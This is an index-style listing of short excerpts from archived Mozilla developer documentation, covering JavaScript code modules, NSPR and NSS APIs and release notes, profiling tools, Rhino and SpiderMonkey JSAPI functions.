to import the add-on repository code module, use: components.utils.import("resource://gre/modules/addonrepository.jsm"); method overview string getrecommendedurl() string getsearchurl(in string searchterms) void cancelsearch() void retrieverecommendedaddons(in integer maxresults, in searchcallback callback) void searchaddons(in string searchterms, in integer maxresults, in searchcallback callback) properties ...
DownloadLastDir.jsm
to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloadlastdir.jsm"); if you are using addon sdk, you can import the code module as: let { cu } = require("chrome"); let downloadlastdir = cu.import("resource://gre/modules/downloadlastdir.jsm").downloadlastdir; once you've imported the module, you can then use the downloadlastdir object it exports.
Download
contenttype string the mime type of the download, for example "text/plain", or null if the mime type is not available.
FileUtils.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/fileutils.jsm"); the file constructor if you have a path to a file (or directory) you want to obtain an nsifile for, you can do so using the file constructor, like this: var f = new fileutils.file(mypath); method overview nsifile getfile(string key, array patharray, bool followlinks); nsifile getdir(string key, array patharray, bool shouldcreate, bool followlinks); nsifileoutputstream openfileoutputstream(nsifile file, int modeflags); nsifileoutputstream openatomicfileoutputstream(nsifile file, int modeflags); nsifileoutp...
Geometry.jsm
to use these routines, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/geometry.jsm"); once you've imported the module, you can then use the point and rect classes.
OS.File.Error
using os.file.error example: finding out whether the problem is due to a file that does not exist try { let file = os.file.open("myfile.txt"); // ...
OS.File.Info
link } else { // |somepath| represents a regular file } }, function onfailure(reason) { if (reason instanceof os.file.error && reason.becausenosuchfile) { // |somepath| does not represent anything } else { // some other error } } ) example: determining the owner of a file let promise = os.file.stat() promise.then( function onsuccess(info) { if ("unixowner" in info) { // info.unixowner holds the owner of the file } else { // information is not available on this platform } } ); evolution of this example bug 802534 will introduce the ability to check whether field unixowner appears in os.file.info.prototype, which will make it possible to write faster code.
PerfMeasurement.jsm
before you can use this module, you need to import it into your scope: components.utils.import("resource://gre/modules/perfmeasurement.jsm") see measuring performance using the perfmeasurement.jsm code module for details on how to use this api.
Promise.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promise.jsm"); note: a preliminary promise module is also available starting from gecko 17, though it didn't conform to the promises/a+ proposal until gecko 25: components.utils.import("resource://gre/modules/commonjs/promise/core.js"); // gecko 17 to 20 components.utils.import("resource://gre/modules/commonjs/sdk/core/promise.js"); // gecko 21 to 24 this implement...
PromiseUtils.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promiseutils.jsm"); method overview deferred defer(); methods defer() creates a new pending promise and provides methods to resolve or reject this promise.
Services.jsm
to use it, you first need to import the code module into your javascript scope: const {services} = chromeutils.import("resource://gre/modules/services.jsm"); then you can obtain references to services by simply accessing them from the services object exported by the code module.
Timer.jsm
to use timer.jsm, first import it: components.utils.import("resource://gre/modules/timer.jsm"); then call settimeout and cleartimeout just as you would in a dom window, for example: let timeoutid = settimeout(function() { console.log("hello!"); }, 500); cleartimeout(timeoutid); similarly, you can use setinterval and clearinterval like so: let intervalid = setinterval(function() { console.log("happening every 500ms!"); }, 500); clearinterval(intervalid); ...
Localization prerequisites
other varieties of "make" will not work.
Translation phase
seamonkey seamonkey® is the all-in-one application formerly known as the "mozilla application suite", containing a web browser, a mail and newsgroups client, an html editor, web development tools, and an irc chat client.
Uplifting a localization from Central to Aurora
hg merge if this just passes, you want to commit, and you probably want to use a commit message like "merging central and aurora".
What every Mozilla translator should know
en you create a bug, if you want the person in charge of the l10n to follow up your bug you should cc: l10n@mozilla.com if you choose to make changes to your localization, you should make the changes local to your disk, push them to your hg repository on merucial, test the changes on a nightly/tinderbox build, fix any errors if some are found and test again, and send the new changeset id as your "opt-in" revisions to the l10-drivers.
Writing localizable code
when a composite string is needed, try to give the translators "room to move".
MathML3Testsuite
note that in general, comparing with the "sample rendering" is not enough to conclude on the success/failure of the test.
Mozilla MathML Status
we are only interested in supporting attributes "inherited from the surrounding context", which are those effectively used in practice.
mozilla::CondVar
#include "condvar.h" methods constructor condvar(mutex& amutex, const char* aname) initialize the condvar with its associated mutex and a name to reference it by.
Build Metrics
"build metrics" is a catch-all term for performance measures that are generated by the firefox build system and tracked by perfherder.
Gecko Profiler FAQ
how do we profile "leaks" that show up after running firefox for > 40 mins?
Memory Profiler
you may need to set the "xpinstall.signatures.required" pref to false in order to install it, since the xpi is not yet signed.
Profiling with the Gecko Profiler and Local Symbols on Windows
generate the breakpad symbol files by running ./mach buildsymbols: https://developer.mozilla.org/en/building_firefox_with_debug_symbols#breakpad_symbol_files this will have created symbols under $objdir/dist/ , named after the binary name, architecture and version, so something like "firefox-40.0a1.en-us-win32.crashreporter-symbols.zip" point talos to this zipfile by passing its path to the --symbolspath flag.
TraceMalloc
<script type="text/javascript"> var filename = window.prompt("filename to log: "); if (filename) tracemallocdumpallocations(filename); </script> one can then use the script tools/trace-malloc/diffbloatdump.pl to compare trace-malloc dumps before and after doing an action that might leak.
dtrace
the above code counts unique stack traces when wakeups occur; ustack is short for "user stack", i.e.
perf
sudo perf stat -a -r 1 \ -e "power/energy-pkg/" \ -e "power/energy-cores/" \ -e "power/energy-gpu/" \ -e "power/energy-ram/" \ <command> the -a is necessary; it means "all cores", and without it all the measurements will be zero.
A brief guide to Mozilla preferences
for example, let's assume that nightly has a preference "some.preference" which defaults to true while developeredition defaults the same preference to false and the user desires the preference to have the value true in both channels.
browser.pagethumbnails.capturing_disabled
the preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.
browser.search.context.loadInBackground
browser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.
Preference reference
if set to true, the data is stored as content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackgroundbrowser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background...
Research and prep
e-commerce search these search engines should allow users to get connected to new and used products they want to buy as quickly and painlessly as possible in a "trusted" site -- for example, choosing the most popular auction, general shopping, or classified type sites that have the desired user experience are good choices.
Crash reporting
reports and queries crash-stats has built-in reports of "topcrashes" for each release grouped by signature.
Emscripten techniques
by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose.
L20n
what l20n looks like here is a simple, straightforward example showing an english string being provided: <brandname "firefox"> <about "about {{ brandname }}"> here is the same string being provided in slovenian: <brandname { nominative: "firefox", genitive: "firefoxa", dative: "firefoxu", accusative: "firefox", locative: "firefoxu", instrumental: "firefoxom" }> <about "o {{ brandname.locative }}"> for developers documentation for developers wanting to implement localization functionality on...
MailNews automated testing
"make check" is used to run compiled code tests.
MailNews
mailnews stands for "mail and newsgroups".
Dynamic Library Linking
prlibrary *lib; void *funcptr; funcptr = pr_findsymbolandlibrary("functionname", &lib); when pr_findsymbolandlibrary returns, funcptr is the value of the function pointer you want to look up, and the variable lib references the main executable program.
I/O Types
an i/o function on a prfiledesc structure is carried out by invoking the corresponding "method" in the i/o methods table (a structure of type priomethods) of the prfiledesc structure (the "object").
NSPR LOG MODULES
to enable all log module calls to pr_log, set the variable as follows: set nspr_log_modules=all:5 timestamp including timestamp results in a timestamp of the form "2015-01-15 21:24:26.049906 utc - " prefixing every logged line.
PRExplodedTime
the essential members of prexplodedtime are: tm_year: absolute year, ad (by "absolute," we mean if the year is 2000, this field's value is 2000).
PRIOMethods
if a layer provides no functionality, it should call the next lower (higher) function of the same name (for example, the "close" method would return fd->lower->method->close(fd->lower)).
PRLock
syntax #include <prlock.h> typedef struct prlock prlock; description nspr represents a lock as an opaque entity to clients of the functions described in "locks".
PR_AttachThread
the opaque prthreadstack structure is only used in the third argument "prthreadstack *stack" to the pr_attachthread function.
PRUnichar
an unsigned 16-bit type, like char in java or the "characters" of a javascript string defined in /mozilla/xpcom/base/nscore.h.
PR_GMTParameters
note: since this function requires gmt as input, its primary use is as "filler" for cases in which you need a do-nothing callback.
PR_GetRandomNoise
pr_getrandomnoise is intended to provide a "seed" value for a another random number generator that may be suitable for cryptographic operations.
PR_LOG
for a description of formatting and format strings, see "formatted printing".
PR_Lock
description when pr_lock returns, the calling thread is "in the monitor," also called "holding the monitor's lock." any thread that attempts to acquire the same lock blocks until the holder of the lock exits the monitor.
PR_LogPrint
for a description of formatting and format strings, see "formatted printing".
PR_NAME
syntax #include <prinit.h> #define pr_name "nspr" description nspr name.
PR_NormalizeTime
for example, if you have a ] object that represents the date 3 march 1998 and you want to say "forty days from 3 march 1998", you can simply add 40 to the tm_mday field and then call pr_normalizetime().
PR_VERSION
syntax #include <prinit.h> #define pr_version "2.1 yyyymmdd" description the format of the version string ismajorversion.minorversion builddate.
PR_WaitSemaphore
the "test and decrement" operation is performed atomically.
NSPR release process
remove "beta" from the nspr version number for the final release.
Function_Name
describe all side-effects on "out" parameters.
Building NSS
build with make alternatively, there is a make target called "nss_build_all", which produces a similar result.
NSS CERTVerify Log
to create a log: #include "secport.h" #include "certt.h" certverifylog *log; arena = port_newarena(512); log = port_arenaznew(arena,log); log->arena = arena; you can then pass this log into your favorite cert verify function.
Getting Started With NSS
we maintain a list of nss bugs marked with a keyword "good-first-bug" that you can view.
Introduction to Network Security Services
pr is a separate mozilla project; see netscape portable runtime for details.) figure 1 relationships among core nss libraries and nspr naming conventions and special libraries windows and unix use different naming conventions for static and dynamic libraries: windows unix static .lib .a dynamic .dll .so or .sl in addition, windows has "import" libraries that bind to dynamic libraries.
4.3.1 Release Notes
to obtain the version info from the jar file use, "system.out.println(org.mozilla.jss.cryptomanager.jar_jss_version)" and to check the shared library: strings libjss4.so | grep -i header feedback bugs discovered should be reported by filing a bug report with bugzilla.
Using JSS
MozillaProjectsNSSJSSUsing JSS
(the path to jss34.jar ends with the string "/jss42.jar".
JSS
MozillaProjectsNSSJSS
jss offers a jce provider, "mozilla-jss" jca provider notes.
NSS_3.12.1_release_notes.html
the bug fixes in nss 3.12.1 are described in the "bugs fixed" section below.
NSS_3.12.2_release_notes.html
the bug fixes in nss 3.12.2 are described in the "bugs fixed" section below.
NSS 3.14.2 release notes
the bug fixes in nss 3.14.2 are described in the "bugs fixed" section below.
NSS 3.14.4 release notes
the bug fixes in nss 3.14.4 are described in the "bugs fixed" section below.
NSS 3.14.5 release notes
the bug fixes in nss 3.14.5 are described in the "bugs fixed" section below.
NSS 3.15.1 release notes
the bug fixes in nss 3.15.1 are described in the "bugs fixed" section below.
NSS 3.15.2 release notes
the bug fixes in nss 3.15.2 are described in the "bugs fixed" section below.
NSS 3.15.3.1 release notes
the bug fixes in nss 3.15.3.1 are described in the "bugs fixed" section below.
NSS 3.15.3 release notes
the bug fixes in nss 3.15.3 are described in the "bugs fixed" section below.
NSS 3.15.4 release notes
the bug fixes in nss 3.15.4 are described in the "bugs fixed" section below.
NSS 3.15.5 release notes
the bug fixes in nss 3.15.5 are described in the "bugs fixed" section below.
NSS 3.16.2.1 release notes
the bug fixes in nss 3.16.2.1 are described in the "bugs fixed" section below.
NSS 3.16.2.2 release notes
the bug fixes in nss 3.16.2.2 are described in the "bugs fixed" section below.
NSS 3.16.2.3 release notes
the bug fixes in nss 3.16.2.3 are described in the "bugs fixed" section below.
NSS 3.16.3 release notes
the bug fixes in nss 3.16.3 are described in the "bugs fixed" section below.
NSS 3.16.5 release notes
the bug fixes in nss 3.16.5 are described in the "bugs fixed" section below.
NSS 3.16.6 release notes
the bug fixes in nss 3.16.6 are described in the "bugs fixed" section below.
NSS 3.17.1 release notes
the bug fixes in nss 3.17.1 are described in the "bugs fixed" section below.
NSS 3.17.2 release notes
the bug fixes in nss 3.17.2 are described in the "bugs fixed" section below.
NSS 3.17.3 release notes
the bug fixes in nss 3.17.3 are described in the "bugs fixed" section below.
NSS 3.17.4 release notes
the bug fixes in nss 3.17.4 are described in the "bugs fixed" section below.
NSS 3.18.1 release notes
the bug fixes in nss 3.18.1 are described in the "bugs fixed" section below.
NSS 3.19.1 release notes
the bug fixes in nss 3.19.1 are described in the "bugs fixed" section below.
NSS 3.19.2.1 release notes
the bug fixes in nss 3.19.2.1 are described in the "security advisories" section below.
NSS 3.19.2.2 release notes
the bug fixes in nss 3.19.2.2 are described in the "security fixes" section below.
NSS 3.19.2.3 release notes
the bug fixes in nss 3.19.2.3 are described in the "security fixes" section below.
NSS 3.19.2.4 release notes
the bug fixed in nss 3.19.2.4 have been described in the "security fixes" section below.
NSS 3.19.3 release notes
the bug fixes in nss 3.19.3 are described in the "bugs fixed" section below.
NSS 3.19.4 release notes
the bug fixes in nss 3.19.4 are described in the "security advisories" section below.
NSS 3.20.1 release notes
the bug fixes in nss 3.20.1 are described in the "security advisories" section below.
NSS 3.20.2 release notes
the bug fixes in nss 3.20.2 are described in the "security fixes" section below.
NSS 3.20 release notes
nss embeds fixed dhe parameters sized 2048, 3072, 4096, 6144 and 8192 bits, which were copied from version 08 of the internet-draft "negotiated finite field diffie-hellman ephemeral parameters for tls", appendix a.
NSS 3.21.1 release notes
the bug fixes in nss 3.21.1 are described in the "security fixes" section below.
NSS 3.21.2 release notes
the bug fixes in nss 3.21.2 are described in the "security fixes" section below.
NSS 3.21.3 release notes
the bug fixes in nss 3.21.3 are described in the "security fixes" section below.
NSS 3.21.4 release notes
the bug fixes in nss 3.21.4 are described in the "bugs fixed" section below.
NSS 3.21 release notes
the sections "security fixes" and "acknowledgements" have been added.
NSS 3.22.1 release notes
the bug fixes in nss 3.22.1 are described in the "notable changes" section below.
NSS 3.22.2 release notes
the bug fixes in nss 3.22.2 are described in the "security fixes" section below.
NSS 3.22.3 release notes
the bug fixes in nss 3.22.3 are described in the "bugs fixed" section below.
NSS 3.24 release notes
the caller is no longer required to use sslkeatype explicitly to select a "slot" into which the certificate is configured (which incorrectly identifies a key agreement type rather than a certificate).
NSS 3.28.1 release notes
the bug fixes in nss 3.28.1 are described in the "bugs fixed" section below.
NSS 3.28.4 release notes
the bug fixes in nss 3.28.4 are described in the "bugs fixed" section below.
NSS 3.28.5 release notes
the bug fixes in nss 3.28.5 are described in the "bugs fixed" section below.
NSS 3.28 release notes
support for "export" grade ssl/tls cipher suites has been removed (bug 1252849).
NSS 3.29.2 release notes
the bug fixes in nss 3.29.2 are described in the "bugs fixed" section below.
NSS 3.29.3 release notes
the bug fixes in nss 3.29.3 are described in the "bugs fixed" section below.
NSS 3.29.5 release notes
the bug fixes in nss 3.29.5 are described in the "bugs fixed" section below.
NSS 3.30.1 release notes
the bug fixes in nss 3.30.1 are described in the "bugs fixed" section below.
NSS 3.30.2 release notes
the bug fixes in nss 3.30.2 are described in the "bugs fixed" section below.
NSS 3.33 release notes
new in nss 3.33 new functionality when listing an nss database, using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing.
NSS 3.34 release notes
using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing.
NSS 3.36.5 release notes
the bug fixes in nss 3.36.5 are described in the "bugs fixed" section below.
NSS 3.36.6 release notes
the bug fixes in nss 3.36.6 are described in the "bugs fixed" section below.
NSS 3.36.7 release notes
the bug fixes in nss 3.36.7 are described in the "bugs fixed" section below.
NSS 3.36.8 release notes
the bug fixes in nss 3.36.8 are described in the "bugs fixed" section below.
NSS 3.37 release notes
(the classic implementation for rng seeding on the linux/unix platform, which may use additional sources for the default seeding, is still available and will be used if seed_only_dev_urandom is undefined.) with nss 3.37, this alternative implementation for linux/unix can be selected in "make" builds by defining the environment variable nss_seed_only_dev_urandom.
NSS 3.41.1 release notes
the bug fixes in nss 3.41.1 are described in the "bugs fixed" section below.
NSS 3.44.1 release notes
the bug fixes in nss 3.44.1 are described in the "bugs fixed" section below.
NSS 3.44.2 release notes
the bug fixes in nss 3.44.2 are described in the "bugs fixed" section below.
NSS 3.44.3 release notes
the bug fixes in nss 3.44.3 are described in the "bugs fixed" section below.
NSS 3.46.1 release notes
the bug fixes in nss 3.46.1 are described in the "bugs fixed" section below.
NSS 3.46 release notes
ensions bug 1415118 - nss build with ./build.sh --enable-libpkix fails bug 1539788 - add length checks for cryptographic primitives (cve-2019-17006) bug 1542077 - mp_set_ulong and mp_set_int should return errors on bad values bug 1572791 - read out-of-bounds in der_decodetimechoice_util from sslexp_delegatecredential bug 1560593 - cleanup.sh script does not set error exit code for tests that "failed with core" bug 1566601 - add wycheproof test vectors for aes-kw bug 1571316 - curve25519_32.c:280: undefined reference to `pr_assert' when building nss 3.45 on armhf-linux bug 1516593 - client to generate new random during renegotiation bug 1563258 - fips.sh fails due to non-existent "resp" directories bug 1561598 - remove -wmaybe-uninitialized warning in pqg.c bug 1560806 - increase ...
NSS 3.47.1 release notes
the bug fixes in nss 3.47.1 are described in the "bugs fixed" section below.
NSS 3.47 release notes
nnecessary conditional in pki3hack, pk11load and stanpcertdb bug 1576307 - check mechanism param and param length before casting to mechanism-specific structs bug 1577953 - support longer (up to rfc maximum) hkdf outputs bug 1508776 - remove refcounting from sftk_freesession (cve-2019-11756) bug 1494063 - support tls exporter in tstclnt and selfserv bug 1581024 - heap overflow in nss utility "derdump" bug 1582343 - soft token mac verification not constant time bug 1578238 - handle invald tag sizes for ckm_aes_gcm bug 1576295 - check all bounds when encrypting with seed_cbc bug 1580286 - nss rejects tls 1.2 records with large padding with sha384 hmac bug 1577448 - create additional nested s/mime test messages for thunderbird bug 1399095 - allow nss-try to be used to test nspr chan...
NSS 3.48.1 release notes
the bug fixes in nss 3.48.1 are described in the "bugs fixed" section below.
NSS 3.48 release notes
ent negotiation of versions lower than 1.3 after helloretryrequest bug 1596450 - added a simplified and unified mac implementation for hmac and cmac behind pkcs#11 bug 1522203 - remove an old pentium pro performance workaround bug 1592557 - fix prng known-answer-test scripts bug 1586176 - encryptupdate should use maxout not block size (cve-2019-11745) bug 1593141 - add `notbefore` or similar "beginning-of-validity-period" parameter to mozilla::pkix::trustdomain::checkrevocation bug 1591363 - fix a pbkdf2 memory leak in nsc_generatekey if key length > max_key_len (256) bug 1592869 - use arm neon for ctr_xor bug 1566131 - ensure sha-1 fallback disabled in tls 1.2 bug 1577803 - mark pkcs#11 token as friendly if it implements ckp_public_certificates_token bug 1566126 - power ghash vec...
NSS 3.49.1 release notes
the bug fixes in nss 3.49.1 are described in the "bugs fixed" section below.
NSS 3.49.2 release notes
the bug fixes in nss 3.49.2 are described in the "bugs fixed" section below.
NSS 3.51 release notes
bug 1611209 - correct swapped pkcs11 values of ckm_aes_cmac and ckm_aes_cmac_general bug 1612259 - complete integration of wycheproof ecdh test cases bug 1614183 - check if ppc __has_include(<sys/auxv.h>) bug 1614786 - fix a compilation error for ‘getfipsenv’ "defined but not used" bug 1615208 - send dtls version numbers in dtls 1.3 supported_versions extension to avoid an incompatibility.
NSS 3.53 release notes
bug 1561331 - additional modular inverse test bug 1629553 - rework and cleanup gmake builds bug 1438431 - remove mkdepend and "depend" make target bug 290526 - support parallel building of nss when using the makefiles bug 1636206 - hacl* update after changes in libintvector.h bug 1636058 - fix building nss on debian s390x, mips64el, and riscv64 bug 1622033 - add option to build without seed this bugzilla query returns all the bugs fixed in nss 3.53: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classifi...
NSS 3.56 release notes
bug 1653975 - fix 3.53 regression by setting "all" as the default makefile target.
nss tech note2
for example, to log the softoken, use: nss_debug_pkcs11_module="nss internal pkcs #11 module" note: in the command prompt on windows, do not quote the name of the target module, otherwise the quotes are considered part of the name.
NSS release notes template
the bug fixes in nss 3.xx.y are described in the "bugs fixed" section below.
Notes on TLS - SSL 3.0 Intolerant Servers
technical information the ssl 3.0 and tls (aka ssl 3.1) specs both contain a provision -- the same provision -- for detecting "version rollback attacks".
PKCS11 Implement
c_logout the nss calls c_logout on a token's initial session when the password is timed out when performing any kind of private key operation if "ask always" is turned on when changing a password when the user logs out object management c_createobject the nss calls c_createobject when loading new private keys and new certificates into a token.
Sample manual installation
after building nss with "gmake nss_build_all", the resulting build can be found in the nss source tree as follows: nss header files: mozilla/dist/public/nss nspr header files: mozilla/dist/<obj-dir>/include nspr/nss shared libs: mozilla/dist/<obj-dir>/lib nss binary executables: mozilla/dist/<obj-dir>/bin.
NSS tools : ssltab
data sent from the client to the server is surrounded by the following symbols: --> [ data ] data sent from the server to the client is surrounded by the following symbols: "left arrow"-- [ data ] the raw data stream is sent to standard output and is not interpreted in any way.
NSS tools : ssltap
data sent from the client to the server is surrounded by the following symbols: --> [ data ] data sent from the server to the client is surrounded by the following symbols: "left arrow"-- [ data ] the raw data stream is sent to standard output and is not interpreted in any way.
OLD SSL Reference
chapter 2, "getting started with ssl" illustrates their use in sample client and server applications.
sslcrt.html
the use of the word "destroy" in function names or in the description of a function implies reference counting.
sslkey.html
the use of the word "destroy" in function names or in the description of a function implies reference counting.
modutil-tasks.html
a fix was made for "hpux b.11.00," but issues may still arise for platforms like "linux 2.2.12-20." documentation needs to be explicit about the use of fo ...
NSS Tools certutil-tasks
remove keys "stranded" without a certificate (except for the imminent (????) encryption key for password files).
NSS Tools modutil-tasks
a fix was made for "hpux b.11.00," but issues may still arise for platforms like "linux 2.2.12-20." documentation needs to be explicit about the use of fo ...
NSS tools : signver
MozillaProjectsNSStoolssignver
for example: # signver -a -s signature -d sql:/home/my/sharednssdb to set the shared database type as the default type for the tools, set the nss_default_db_type environment variable to sql: export nss_default_db_type="sql" this line can be set added to the ~/.bashrc file to make the change permanent.
NSS tools : ssltap
MozillaProjectsNSStoolsssltap
data sent from the client to the server is surrounded by the following symbols: --> [ data ] data sent from the server to the client is surrounded by the following symbols: "left arrow"-- [ data ] the raw data stream is sent to standard output and is not interpreted in any way.
Necko walkthrough
nsdocshell::internalload nsdocshell::douriload opens the nsichannel for the uri (ns_newchannel) if "http:", it will be an nsihttpchannel nsdocshell::dochannelload nsuriloader::openuri passes an nsistreamlistener pointer, 'loader' to nsuriloader::openchannel - it creates an nsdocumentopeninfo object, which implements nsistreamlistener, i.e.
Proxies in Necko
proxies and local hosts requires gecko 9.0(firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) starting with gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), proxy servers are not used when accessing hosts with no dots in their names, if manual proxy configuration is used and "<local>" is added to the "no proxy for:" text field field.
Renaming With Pork
typically, make cxxflags="-wp,-k,-w0 -save-temps" will work.
Pork
as of october 2009 oink incorporates the pork functionality into its standard distribution; look for files and tests having the prefix "xform".
Rhino FAQ
for instance, to create an array of java.lang.string of length five, do var stringarray = java.lang.reflect.array.newinstance(java.lang.string, 5); then if you wish to assign the string "hi" to the first element, simply execute stringarray[0] = "hi".
Rhino history
when netscape stopped work on "javagator," as it was called, somehow rhino escaped the axe (rumor had it that the executives "forgot" it existed).
Rhino JavaScript compiler
examples $ cat test.js java.lang.system.out.println("hi, mom!"); $ java org.mozilla.javascript.tools.jsc.main test.js $ ls *.class test.class $ java test hi, mom!
Rhino license
* * this software is provided by the copyright holders and contributors "as * is" and any express or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed.
The JavaScript Runtime
for example, evaluating the expression obj["3"] will invoke the get(int, scriptable) method even though the property name was presented in the script as a string.
Rhino scopes and contexts
string loadme = "regexp; getclass; java; packages; javaadapter;"; cx.evaluatestring(sealedsharedscope , loadme, "lazyload", 0, null); sealedsharedscope .sealobject(); dynamic scopes there's one problem with the setup outlined above.
Future directions
it can be read as something like an "ideal future state" for the engine.
Functions
(but note that objects of other classes can be callable and can even have typeof obj == "function".) script functions functions written in javascript and compiled to bytecode.
SpiderMonkey Internals: Thread Safety
the program must group jsapi calls into "requests": js_setcontextthread(cx); js_beginrequest(cx); /* ...
Self-hosted builtins in SpiderMonkey
example: js_self_hosted_fn("foreach", "arrayforeach", 1,0) this causes the self-hosted function arrayforeach to be installed as the host object's method foreach.
JIT Optimization Outcomes
singleton types are assigned to objects that are "one of a kind", such as global objects, literal objects declared in the global scope, and top-level function objects.
INT_FITS_IN_JSVAL
*/ } else { js_reporterror(cx, "integer out of range: %d", item); } see also int_to_jsval changeset - 52750:05bd86e3559a ...
INT_TO_JSVAL
starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so this check isn't needed any longer for 32-bit integers.") }} if i does not fit into a jsval (see int_fits_in_jsval), the behavior is undefined.
JS::Call
thisobj js::handleobject / js::handlevalue the "current" object on which the function operates; the object specified here is "this" when the function executes.
JS::DeflateStringToUTF8Buffer
(cx, uchars, 2)); if (!str) return false; js::rooted<jsflatstring*> flatstr(cx, js_flattenstring(cx, str)); if (!flatstr) return false; size_t length = js::getdeflatedutf8stringlength(flatstr); char* buffer = static_cast<char*>(js_malloc(cx, length + 1)); if (!buffer) return false; js::deflatestringtoutf8buffer(flatstr, mozilla::rangedptr<char>(buffer, length)); buffer[length] = '\0'; printf("utf8: [%s]\n", buffer); js_free(cx, buffer); see also js::getdeflatedutf8stringlength bug 1034627 bug 1271014 -- added dstlenp and numcharsp ...
JS::GetFirstArgumentAsTypeHint
if args.get(0) is one of the strings "string", "number", or "default", set *result to jstype_string, jstype_number, or jstype_void accordingly and return true.
JS::PersistentRooted
js::rootedvalue val(cx, persistentval.ref()); // or // js::rootedvalue val(cx, *persistentval); // [spidermonkey 38] // js::rootedvalue val(cx, persistentval); args.rval().set(val); return true; } static const jsfunctionspec functions[] = { js_fn("getpersistent", getpersistent, 1, 0), js_fn("setpersistent", setpersistent, 0, 0), js_fs_end }; int main(int argc, const char* argv[]) { // initialize runtime // ...
JS::ToString
syntax #include "js/conversions.h" // as of spidermonkey 38; previously in jsapi.h jsstring* js::tostring(jscontext *cx, js::handlevalue v) name type description cx jscontext * the context in which to perform the conversion.
JSExtendedClass.wrappedObject
(the result may be "object", "function", or "xml".) when assigning to __proto__ or __parent__ from script, the javascript engine checks to see if the assignment would produce a cycle.
JSFastNative
the term "native" here refers to c/c++ code as opposed to javascript code.
JSHasInstanceOp
obj js::handleobject the "type" in the type check.
JSNewEnumerateOp
an object is "enumerated" when it's the target of a for-in loop or js_enumerate.
JSObjectOps.defaultValue
on success, *vp must be a primitive value: per es5 §8.12.8, every object "must ensure that its [[defaultvalue]] internal method can return only primitive values." debug builds of spidermonkey will assert if a convert callback is successful but leaves *vp holding a primitive value.
JS_BeginRequest
this "request model" is necessary to interlock with the global garbage collector.
JS_CallFunction
obj js::handleobject the "current" object on which the function operates; the object specified here is "this" when the function executes.
JS_ContextIterator
example the following code snippet illustrates how to cycle through the contexts for a given runtime: jscontext *acx; jscontext *iterp = null; int i = 0; while ((acx = js_contextiterator(rt, &iterp)) != null) { printf("%d ", ++i); } see also mxr id search for js_contextiterator ...
JS_ConvertArguments
for example, if format is "biob", then js_convertarguments converts the first js value in argv into a bool, the second value into a double, the third value into a jsobject *, and the last value into a bool.
JS_DecompileFunction
if you decompile a function that makes a native c call, the body of the function contains the text "native code'" and cannot be re-parsed.
JS_DecompileFunctionBody
if you decompile a function that makes a native c call, the body of the function only contains the text "[native code]".
JS_DecompileScript
otherwise, it returns a string containing "[no source]".
JS_DefinePropertyWithTinyId
for example, if a property named "color" is defined with tiny id 10, then the javascript expressions obj[10] and obj.color will both result in int_to_jsval(10) being passed to jsclass.getproperty as the id parameter.
JS_DoubleIsInt32
we should definitely fix this (bug 744965), but as apparently it "works" in practice, it's not a pressing concern now.
JS_DumpHeap
the "trace kind" is a static map which tells which layout a gc thing has.
JS_DumpNamedRoots
*/ file *f = (file *) data; fprintf(f, "there is a root named '%s' at %p\n", name, addr); } int main() { ...
JS_FS
(in builds without es6 symbols, it defines a method with the string id "@@iterator".) see an example in the jsapi user guide.
JS_GetFunctionId
function f() {} // f var x = function() {}; // x var a = { b: function() {} }; // a.b a.c = function() {}; // a.c a.d = (function() { // a.d< -- the '<' loosely means "contributor to" return function() {}; // a.d })(); var foo = function() { // foo var bar = function() {}; // foo/bar }; settimeout(function() {}, 100); // no name, js_getfunctiondisplayid returns null see also mxr id search for js_getfunctionid mxr id search for js_getfunctiondisplayid bug 433529 - added js_getfunctiondisplayid ...
JS_GetFunctionName
the return value is either the name of a function, or the string "anonymous", which indicates that the function was not assigned a name when created.
JS_GetGlobalForObject
for function object inputs, the result is "the global object" as referred to in the ecmascript specification.
JS_GetGlobalObject
someone should document common use case "giving the global object a name", which can be done with js_getglobalobject and js_setproperty see also mxr id search for js_getglobalobject js_getglobalforobject js_getglobalforscopechain js::currentglobalornull bug 868110 ...
JS_GetNaNValue
so do number("xyzzy") and math.sin("frank").
JS_GetTypeName
the following table lists jstypes and the string literals reported by js_gettypename: type literal jstype_void "undefined" jstype_object "object" jstype_function "function" jstype_string "string" jstype_number "number" jstype_boolean "boolean" any other value null see also js_convertvalue js_typeofvalue js_valuetoboolean js_valuetofunction js_valuetoint32 js_valuetonumber js_valuetoobject js_valuetostring bug 1037718 ...
JS_Init
syntax #include "js/initialization.h" // previously "jsapi.h" bool js_init(void); description initialize spidermonkey, returning true only if initialization succeeded.
JS_NewContext
stackchunksize size_t the size, in bytes, of each "stack chunk".
JS_NewScriptObject
(the name "js_newscriptobject" suggests that the script object is freshly allocated; this was the case in older versions of the api, but now the script object is allocated along with the jsscript itself.) (some temporary scripts used internally by spidermonkey do not have script objects allocated for them; such scripts are not accessible via jsapi.) see also the jsapi user guide contains example code us...
JS_PushArguments
for example, if format is "biob", then there must be four arguments after format.
JS_ReportPendingException
